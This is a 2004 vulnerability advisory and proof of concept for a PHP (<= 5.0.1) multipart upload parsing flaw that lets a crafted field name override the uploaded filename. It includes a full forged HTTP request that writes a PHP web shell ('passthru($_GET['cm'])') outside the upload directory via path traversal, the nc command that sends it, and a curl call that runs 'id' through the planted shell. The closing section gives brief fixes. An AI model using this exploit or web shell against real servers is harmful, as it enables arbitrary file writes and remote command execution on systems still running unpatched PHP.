PHP File Upload Vulnerability POC

Title: Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload
Author: Stefano Di Paola
Affected: Php <= 5.0.1
Not Affected: Maybe some old Version of Php before 4.2.x
Vulnerability Type:
Possible write of a downloaded file in an arbitrary location.

Resources: Recently published on Bugtraq and VulnWatch



Description:


By forging an appropriate request for a Mime multipart/form-data file it is possible to set the "name" element value to an arbitrary filename if the name of $_FILES element contains a '_' (underscore) like "user_file" Let's use Example 34-2. Validating file uploads (changing 'userfile' to 'user_file') from http://www.php.net/manual/en/features.file-upload.php :

 -----file: upload.php------
 <?php
 // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
 instead
 // of $_FILES.

 $uploaddir = '/var/www/uploads/';
 $uploadfile = $uploaddir . $_FILES['user_file']['name'];

 print "<pre>";
 if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
    print "File is valid, and was successfully uploaded. ";
    print "Here's some more debugging info:\n";
    print_r($_FILES);
 } else {
    print "Possible file upload attack!  Here's some debugging info:\n";
    print_r($_FILES);
 }
 print "</pre>";

 ?>
 ----end file: upload.php------

N.B. The is_uploaded_file php function has been added to proof that this check is bypassable.

Let's suppose that /var/www/html/ is writable by apache user (or any other dir in apache root).

$: (cat form)|nc 127.0.0.1 80

 <pre>
 File is valid, and was successfully uploaded.
 Here's some more debugging info:

 Array(
         [user_file] =>Array(
                               [name] =>  ../html/passt.php
                               [tmp_name] => /tmp/phpucjLV1
                               [error] => 0
                               [size] => 30
                               [type] => application/octet-stream
                           )
         )
</pre>

where form is:

 -----8<---form-------8<-----
 POST /upload.php HTTP/1.1
 Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
 Gecko/20040115 Galeon/1.3.12
 Accept:
 text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en
 Accept-Encoding: gzip, deflate, compress;q=0.9
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 300
 Connection: keep-alive
 Referer:
 Content-Type: multipart/form-data;
 boundary=---------------------------1648318426118446961720965026
 Content-Length: 395

 -----------------------------1648318426118446961720965026
 Content-Disposition: form-data; name="user[file[name]123";
 filename="p.php"
 Content-Type: ../html/passt.php

 <?
 passthru($_GET['cm']);
 ?>

 -----------------------------1648318426118446961720965026
 Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
 Content-Type: application/octet-stream

 <?
 passthru($_GET['cm']);
 ?>


 -----8<---endform----8<-----

By looking closely our request it can be noted that the name of uploaded file is going to be valued by 'Content-Type: ../html/passt.php' and not by filename='p.php'
Second section is injected just to make things more 'normal', by allowing php interpreter to instanziate 'type' element, but it's just a matter of style...

And then let's verify that all went right:

 $: curl "127.0.0.1/passt.php?cm=id"
 uid=72(apache) gid=72(apache) groups=72(apache)


Done!
The Issue
This vulnerability permits to bypass the sanitization php interpreter does on filename to remove prepended directories. So if the developer of a upload php script trust in php pre sanitization of input, a malicious user could use this flaw to upload a file in an arbitrary location. The issue is in the fact that, as can be seen in request, by playing with sqare brackets and by appending some non ']' at the end of the 'name' variable value, a malicious user can fool the array parser embedded in php interpreter, resulting in a different array from the expected one.

I won't go too deep in details on why this was possible (it's just a matter of debugging), but it should be enough to know that the parameter 'name' value in request ('user[file[element]123') is parsed firstly as a simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and then parameter is parsed again by php_register_variable and seen as an array.
This flaw creates a incongruence in the type of the variable, that can be used to exploit the php upload script.
Additional Topics
by playing with arrays of arrays and open square brackets I did a lot of thing but the *big* thing is this one.
The Solution
The most simple solution consists in downloading and installing php 5.0.2 or 4.3.9 that have been released a couple of days ago.

An alternative solution is to check if $_FILES[]['name'] is really a stripped filename by using something like this: $filename=basename($_FILES[]['name']);

Florence, September the 26th 2004